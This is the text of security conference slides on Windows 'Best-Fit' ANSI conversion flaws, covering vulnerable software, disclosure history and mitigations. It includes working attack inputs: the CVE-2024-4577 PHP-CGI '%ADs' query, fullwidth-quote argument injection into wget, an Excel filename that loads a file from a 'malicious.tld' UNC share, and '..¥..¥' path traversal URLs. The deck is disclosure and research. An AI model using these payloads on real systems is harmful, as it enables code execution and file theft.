
BestFit
Unveiling Hidden Transformers in Windows ANSI!

Orange Tsai × Splitline Huang

Worst



One Day, I Hacked into a Bank…

Made-up story ;)





$14.50 🥺



SET balance = '∞' 🥰 🎉





💸 $8 😭



💸 $8 😭



DEVCORE   Research Team

Orange Tsai

🍊😧😾😖🍊

Splitline Huang

🐈󰴛👁☝󰴛🐈 



How Windows handles Unicode?

✅貓咪👉🐱.TXT



UCS-2 UTF-16 UTF-8

Evolution of Encoding in MS Windows

Since Windows 9x Since Windows 2000

　　　　　

(Obsolete)
Since May, 2019

ANSI
Windows Code pages

Since NT 3.1

Windows internal data stores in this way

(Beta)



UCS-2 UTF-16 UTF-8

Evolution of Unicode in MS Windows

Since Windows 9x Since Windows 2000

Since May, 2019

ANSI
Windows Code pages

Since Windows NT

Windows internal data stores in this way

　　　　　

(Obsolete) (Beta)



typedef wchar_t WCHAR;

UTF-16LE
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UCS-2 UTF-16 UTF-8

Since Windows 9x

　　　　　

(Obsolete)

Since Windows 2000

Since May, 2019

ANSI
Windows Code pages

Since NT 3.5

GetEnvironmentVariableA ⬅ Single byte / ANSI

GetEnvironmentVariableW ⬅ Wide char / Unicode



Windows OS
H e l l o

48 00 65 00 6c 00 6c 00 6f 00

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableW

WCHAR *env="                                           "

UTF-16

H e l l o

48 00 65 00 6c 00 6c 00 6f 00



Windows OS
H e l l o

48 00 65 00 6c 00 6c 00 6f 00

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableA ANSI

RtlUnicodeStringToAnsiString

char *env="                                       "H e l l o

48 65 6c 6c 6f



Windows OS

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableA ANSI

RtlUnicodeStringToAnsiString

v

76

p

70

7

37

=

3d

8

38

char *env="                                       "

√ π ⁷ ≤ ∞
1a 22 c0 03 77 20 64 22 1e 22

Bestfit!

🤯



Windows OS

On Windows code page 1252 (Latin-1)

UTF-16

GetEnvironmentVariableA ANSI

RtlUnicodeStringToAnsiString

v

76

p

70

7

37

=
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8

38

🤯
char *env="                                       "

√ π ⁷ ≤ ∞
1a 22 c0 03 77 20 64 22 1e 22

Bestfit!

What is the "Bestfit"?



U+00A5

¥
Yen Sign

\ (0x5C) CP932 / Japanese

Y (0x59) CP1250 / Eastern Europe

¥ (0xA5) Other code pages

Bestfit mapping
- Happens when a Unicode string is converted into an ANSI string

- No specific formula, just make them LOOK alike 😉
- Different code pages map differently!



CVE-2024-4577 
A bypass of CVE-2012-1823

PHP-CGI Remote Code Execution



CVE-2024-4577 
A bypass of CVE-2012-1823

PHP-CGI Remote Code Execution



CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

$ php-cgi.exe --help
...

  -s               Display colour syntax highlighted source.

Exploit!



CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

$ php-cgi.exe --help
...

  -s               Display colour syntax highlighted source.



php-cgi.exe -s
Apache

if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) {

   /* ... omitted ... */

   for (p = decoded_qs; *p && *p <= ' '; p++) { /* skip leading spaces */ }

   if (*p == '-') {

      skip_getopt = 1;

   }

Patch!

CVE-2012-1823

http://vuln.host/index.php?-s



CVE-2012-1823

http://vuln.host/index.php?-s

php-cgi.exe -s
Apache

if((qs = getenv("QUERY_STRING")) != NULL && strchr(qs, '=') == NULL) {

   /* ... omitted ... */

   for (p = decoded_qs; *p && *p <= ' '; p++) { /* skip leading spaces */ }

   if (*p == '-') {

      skip_getopt = 1;

   }

Patch!

s/-/\xAD/g



CVE-2024-4577 🎉

http://vuln.host/index.php?%ADs

php-cgi.exe - s
Apache

AD



CVE-2024-4577 🎉

php-cgi.exe   s
Apache

GetCommandLineA()

↓
php-cgi.exe -s

php-cgi

http://vuln.host/?%ADs
Browser

AD

Cmdline = 
　⚠ Bestfit　

932 | Japanese
936 | Simplified Chinese
950 | Traditional Chinese
U+00AD → 0x2D

Soft hyphen



However, That was Just 

the Tip of the Iceberg    

CVE-2024-4577

More attack surfaces!
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 G:¥🤔



As Same as the Korea Won SIgn (₩)



ISO 646: 7-Bits Standard allows National 
Defined Characters

C

5



ISO 646-JP: 7-Bits National Variant for 
Japanese

¥

C

5



ISO 8859-1: 8-Bits Extension for ISO 646
So-called Latin-1

U+00A5

¥
Yen Sign

ISO 646-JP
U+005C → ¥

ISO 8859-1
U+00A5 → ¥



U+005
C U+00A

5

¥
¥

_Microsoft_



U+005
C U+00A

5

¥
¥

_Microsoft_

Let’s     __________ it!Bestfit!



..¥  as a filename? 
U+00A5





typedef struct _WIN32_FIND_DATAA {

    DWORD    dwFileAttributes;

    FILETIME ftCreationTime;

    FILETIME ftLastAccessTime;

    ...

    CHAR cFileName[MAX_PATH];

};

Bestfit!��





🤯





At this point we only fully support Python 2.7. Older version 
of Python and Python 3 versions are not supported



Guest VM Guest VM Guest VM

Sandbox Host



WriteFile.exe

CreateFileW(L"..\u00A5..\u00A5…",…)



 Download



_✨cuckoo.conf_



Cuckoo Sandbox LFI to RCE

https://docs.google.com/file/d/1jwm6ISV-JzwvakFkGmzmixu8gNRejdqX/preview


This is Black Hat Europe
Why are you talking about Asian Code Pages?



＼
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All Code Pages lead to Path Traversal
- 874: Thai
- 1250: Latin 2 / Central European
- 1251: Cyrillic
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＼
Fullwidth Reverse Solidus

English, Spanish, French, 
Dutch, German, Swedish,

Italian, Portuguese, Polish, 
Turkish, Ukrainian, Greek, 

Norsk, Hungarian, Russian, 
Czech, Romanian, Bulgarian, 

Vietnamese, Thai, Filipino,
Malay, Indonesian, Arabic, 

Urdu, Persian, Swahili…

All Code Pages lead to Path Traversal

U+FF3C

＼
Full Width

Reverse Solidus



_Who are affected by filename smuggling?_



Tips for mitigations:

Switch to Traditional Chinese __



Attack Surfaces ✨

Path / File name

Environment Variable Windows 
Registry

Command Line

Active 
Directory



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

What could go wrong here 👀
On an English-configured Windows OS



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

EaSy pEaSy 👌🤔

 & calc.exe & 



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

EaSy pEaSy 👌🤔

" ; calc.exe ; "

https://docs.python.org/3/library/subprocess.html#security-considerations

https://docs.python.org/3/library/subprocess.html#security-considerations


import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

So, Nope.

" & calc.exe & "

>>> subprocess.run(["wget.exe", f'http://example.tld/ & calc & .txt'])
--2024-12-03 12:34:56--  http://example.tld/%20&%20calc%20&%20.txt
Resolving example.tld (example.tld)... 8.8.8.8
Connecting to example.tld (example.tld)|8.8.8.8|:80... connected.
...omitted...

(not surprisingly)



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

And for sure, this won’t work…

" --use-askpass=calc "



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

How about THIS?

＂ --use-askpass=calc ＂



import subprocess

subprocess.run(

   ['wget.exe', f'http://example.tld/{USER_PROVIDED_INPUT}.txt']

)

Easy Peasy 👍

＂ --use-askpass=calc ＂



Install Now!

 94.87% CAN’T FIND THE DIFFERENCE!!. 
Difficulty: ★★★★★

Exploit 😱 Safe 🥰
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Install Now!

 94.87% CAN’T FIND THE DIFFERENCE!!. 
Difficulty: ★★★★★

Exploit 😱 Safe 🥰

U+FF02
Fullwidth quotation mark

U+0022
Quotation mark



Install Now!

 94.87% CAN’T FIND THE DIFFERENCE!!. 
Difficulty: ★★★★★

Exploit 😱 Safe 🥰

U+FF02
Fullwidth quotation mark

U+0022
Quotation mark



wget example.tld/home -O "out.txt"

How is this parsed?



On Unix-like systems

wget example.tld/home -O "out.txt"

argv[] = {"wget","example.tld/home","-O","out.txt"}

execve("/bin/wget", argv[], envp)

✨ New process
/bin/wget with argv[]

Parsed by your shell
(e.g. /bin/sh)



CreateProcess(LPCSTR lpApplicationName,

              LPSTR lpCommandLine, ...)

On Windows system

wget example.tld/home -O "out.txt"



Cmdline = GetCommandLine()

argv[] = {"wget", "example.tld/home",

 "-O", "out.txt"}

Args[]  = CommandLineToArgv(Cmdline)

CreateProcess("C:\\Program Files\\Wget\\wget.exe",

              "wget example.tld/home -O \"out.txt\"", ...)

On Windows system

wget example.tld/home -O "out.txt"

✨ New Process running wget.exe



run(['wget.exe', 'example.tld/\uFF02--use-askpass=calc\uFF02.txt'])



run(['wget.exe', 'example.tld/\uFF02--use-askpass=calc\uFF02.txt'])

Try to convert Python list to a command line string  



Exe     = C:\wget.exe
Cmdline = wget.exe "example.tld/ʺ --use-askpass=calc ʺ.txt"

run(['wget.exe', 'example.tld/ʺ--use-askpass=calcʺ.txt'])

No double quote nor backslash, no need to escape :)



Exe     = C:\wget.exe
Cmdline = wget.exe "example.tld/ʺ --use-askpass=calc ʺ.txt"

GetCommandLineA()

run(['wget.exe', 'example.tld/ʺ--use-askpass=calcʺ.txt'])

No double quote nor backslash, no need to escape :)

Mm-hmm, pass it to wget.exe

Wget



Exe     = C:\wget.exe
Cmdline = wget.exe "example.tld/ʺ --use-askpass=calc ʺ.txt"

Wget GetCommandLineA()

Cmdline = wget.exe "example.tld/" --use-askpass=calc ".txt"

[ANSI] What is ʺ? idk, but Bestfit says ʺ is actually a "  

run(['wget.exe', 'example.tld/ʺ--use-askpass=calcʺ.txt'])

No double quote nor backslash, no need to escape :)

Mm-hmm, pass it to wget.exe

　⚠ Bestfit　



We found many such bugs!

● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

There must be more in the wild



● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

We found many such bugs!

● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

There must be more in the wild

Case Study!





It executes command for creating archive

But arguments are all escaped
by escapeshellarg!



It executes command for creating archive

But arguments are all escaped
by escapeshellarg!

tar.exe -chf "NewTar.tar" ".\file1" ".\file2" ...

But tar.exe is vulnerable to WorstFit!

All Escaped…



https://docs.google.com/file/d/1soXF8Q6f8Wv-v-TVurCpJnjp8tsNoE6Y/preview


Of course, more CALC.EXEs are popped!

RStudio w/ SVN TortoiseGit w/ Plink

https://docs.google.com/file/d/1EqvXdpg2NcdALB8fDglJlZaRutYDKN0u/preview
https://docs.google.com/file/d/1QESVVB4-thClsFdr9GicovI1VTt1HdPX/preview


 Rust
    Python

Node.js
 Golang

PHP

NO programming language can stop this attack!

exec.Command("program.exe", args...)

proc_open(['program.exe', $arg])

child_process.spawn('program.exe', [argument])

Command::new("program.exe").arg(argument)

shell_exec('program.exe '.escapeshellarg(arg));

subprocess.run(["program.exe", arg])



＂
Fullwidth Quotation Mark

Affected Code Pages
- 874: Thai
- 1250: Latin 2 / Central European
- 1251: Cyrillic
- 1252: Latin 1 / Western European
- 1253: Greek
- 1254: Turkish
- 1255: Hebrew
- 1256: Arabic
- 1257: Baltic
- 1258: Vietnamese

U+FF02

＂
Full Width 

Quotation Mark



Mitigation?

Switch to CJK Language __
Chinese, Japanese, Korean



Mitigation?

Switch to CJK Language 😉
Chinese, Japanese, Korean

Hold On!



¥  and  ₩
0x5C (\)

Yen Sign Won Sign
Japanese Korean



   ['program.exe','foo¥" bar']

subprocess.run(

)

Python



     program.exe  "foo¥\" bar"

Windows

Escape the double quote
↓

argv[1]

CreateProcessW(

"program.exe",

)



     program.exe  "foo\\" bar"

program.exe

Escape the next backslash
↓

argv[1] argv[2]

GetCommandLineA() =

Bestfit!



_Who are affected by argument splitting?_



Mitigation?

Switch to CJK Language 。
Chinese



New Text 
Document.txt



New Text 
Document.txt

How does Windows know which executable
to use to open this file?



C:\>assoc
...
.txt=txtfile
...

C:\>ftype
...
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
...

filename is an argument ;)



NOTEPAD.EXE <FILENAME>



New Microsoft Excel 
Worksheet.xlsx



AAAA＂ ＂／a＂ ＂
＼＼malicious.tld＼xxx.xlsx



EXCEL.exe "AA" "/a" "\\malicious.tld\xxx.xlsx"



CVE-2024-49026 - Microsoft Excel Inject UNC to RCE

https://docs.google.com/file/d/1v_ZlUAGq70JWuC_PxEpSShtzqZC4VkXP/preview


CVE-2024-49026 - Microsoft Excel Inject UNC to RCE

MotW / Protected-View won’t help you __
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CGI

Web Server CGI
Stdin

Stdout

Environment Variables
Query string, path, headers etc.



CGI

Web Server CGI
Stdin

Stdout

Environment Variables
Query string, path, headers etc.

Bestfit!

ANSI

Bestfit!

GetEnvironmentVariableA

ReadConsoleInputA



Web Server CGI

Browser /index.php/%E0dmin

PATH_INFO=/index.php/àdmin $_SERVER['PATH_INFO']

GetEnvironmentVariableA("PATH_INFO")

⛔Block access to /admin



Web Server CGI

PATH_INFO=/index.php/àdmin PATH_INFO=/index.php/admin

Browser /index.php/%E0dmin

Bestfit!

⛔Block access to /admin



http://victim.tld/index.php/foo/bar

REDIRECT_URL = /index.php/foo/bar

REQUEST_URI = /index.php/foo/bar

PATH_INFO = /index.php/foo/bar

PATH_TRANSLATED = C:\www\index.php\foo\bar

PHP w/ CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\www\index.php

PATH_INFO = /foo/bar

ENV



http://victim.tld/index.php/foo/bar

REDIRECT_URL = /index.php/foo/bar

REQUEST_URI = /index.php/foo/bar

PATH_INFO = /index.php/foo/bar

PATH_TRANSLATED = C:\www\index.php\foo\bar

PHP w/ CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\www\index.php

PATH_INFO = /foo/bar

_split by PHP-CGI.exe_

ENV



http://victim.tld/index.php/../../secret

REDIRECT_URL = /index.php/../../secret

REQUEST_URI = /index.php/../../secret

PATH_INFO = /index.php/../../secret

PATH_TRANSLATED = C:\secret

PHP w/ CGI-Mode

Server

php-cgi.exe
SCRIPT_FILENAME = C:\secret

PATH_INFO = /

ENV



http://victim.tld/index.php/../../secret

PHP w/ CGI-Mode

Server
Validate

Invalid URI Path

400 Bad Request¯\_(ツ)_/¯



¥ 



http://victim.tld/index.php/..¥..¥secret/foo/

PHP w/ CGI-Mode

php-cgi.exe

PATH_TRANSLATED = C:\www\index.php\..\..\secret/foo

PATH_INFO = /index.php/..\..\secret/foo

Bestfit!

ENV

Split and get the PHP file and PATH_INFO



http://victim.tld/index.php/..¥..¥windows/win.ini/

http://victim.tld/index.php/..¥..¥NONEXIST/

For a non-existing file 

For an existing file 
Render index.php

No input file specified error

Apache + PHP-CGI



With IIS + PHP-CGI + doc_root configured

It Can Become LFI!



- $_REQUEST, $_GET
- $_SERVER

- ORIG_PATH_INFO
- ORIG_PATH_TRANSLATED
- PATH_INFO
- PATH_TRANSLATED
- PHP_SELF

PHP w/ CGI ModePerl CGI

Query, Path, Headers …

All affected!



＼
Fullwidth Reverse Solidus

All Code Pages lead to Path Traversal (on IIS)

- 874: Thai
- 1250: Latin 2 / Central European
- 1251: Cyrillic
- 1252: Latin 1 / Western European
- 1253: Greek
- 1254: Turkish
- 1255: Hebrew
- 1256: Arabic
- 1257: Baltic
- 1258: Vietnamese

U+FF3C

＼
Full Width

Reverse Solidus



Attack Surfaces ✨

Path / File name Command Line

Environment Variable Windows 
Registry

Active 
Directory

Future work!

RegOpenKeyA
RegQueryValueA

…



We found many such bugs!

● PHP
● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

● Microsoft Excel
● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils



We found many such bugs!

● PHP
● Java
● Perl
● tar (Windows built-in)
● curl (Author build)
● wget
● Bzip2

● Microsoft Excel
● OpenSSL
● Subversion (SVN)
● Perforce
● PostgreSQL 
● Plink on Putty
● XZ Utils

Why do so many OSS projects get it wrong?



int main(int argc, char* argv[]) { }

A normal main function for *NIX system…



int main(int argc, char* argv[]) { }

But on Windows is vulnerable by default !





What’s that?

Your main() is here



What’s that?

Your main() is here

Who put the code behind you?



Your main() are here



int main(int argc, char* argv[]) { }

configure_narrow_argv<char>()

__p___argv()

pre_c_initialization()

__acrt_initialize_command_line()

__scrt_initialize_crt()

_scrt_common_main()

GetCommandLineA()

parse_command_line()

</> mainCRTStartup



The safer way: Use the wide-char version



Those standard libc functions are also 
vulnerable!

✅ Safe ⚠ Potentially Vulnerable

_wgetenv getenv

_wgetcwd getcwd, _getcwd

wscanf scanf

...



_Report To?_

_Microsoft_ _OSS_

_Upstream_



Our efforts on reporting to MSRC
Date Action Result

2024/06/13 Report the Tar issue to MSRC as VULN-127777 Closed

2024/06/19 Report the ███ issue to MSRC as VULN-1288124 Closed

2024/06/19 Report the Excel issue to MSRC as VULN-128122 Closed

2024/06/21 Report the Excel issue to MSRC as VULN-128235 Closed

2024/07/14 Report the Excel issue to MSRC as VULN-130207 Accept 

2024/08/15 Report the Tar issue to MSRC through the help of CERT/CC No Response

2024/11/13 Notify Microsoft that we will present Tar issue at Black Hat Europe No Response



Responses from OSS maintainers



This is a Windows feature [...] Curl is a victim here, 
not the responsible party.

─ Author of Curl 

https://hackerone.com/reports/2550951



This seems more like a Microsoft bug 
than a perl bug…

─ Perl



This is not a PostgreSQL vulnerability.
─ PostgreSQL



_@Microsoft_ folks, do you see a better way 
forward here, given the Windows API?

─ PostgreSQL



_@Microsoft_ folks, do you see a better way 
forward here, given the Windows API?

─ PostgreSQL maintainer



We are collaborating with CERT/CC
Hope the world could be safer!



Summary of Attack Surfaces

Filename Smuggling Re-enable Argument 
injection Argument splitting CGI 

125X, Thai
 (English, Spanish, French, Dutch, 

Arabic, Russian, Portuguese, 
German, Italian, Turkish, Polish, 

Ukrainian, Greek, Czech, Swedish, 
Vietnamese)

💀 💀
⚠

(Greek 💀)

Korean 💀 ⚠ ⚠
Japanese 💀 💀 ⚠ 💀

Chinese 💀

(CVE-2024-4577)

⚠   It's possible but with certain limitations



 https:// Worst.Fit /



Temporary Mitigations

● As an User
○ Switch your language to UTF-8

● As a Developer
○ Use WideChar Windows API as much as possible!



Takeaways!

- Windows ANSI API contains a hidden trap leading to security bugs

- NO, you should not port *NIX program to Windows directly

- Implicitly character transformer can always be a security issue



Special Thanks

● Jonathan Leitschuh
● Vijay Sarvepalli from CERT/CC 



Thanks!
research@devco.re
@orange_8361
@_splitline_


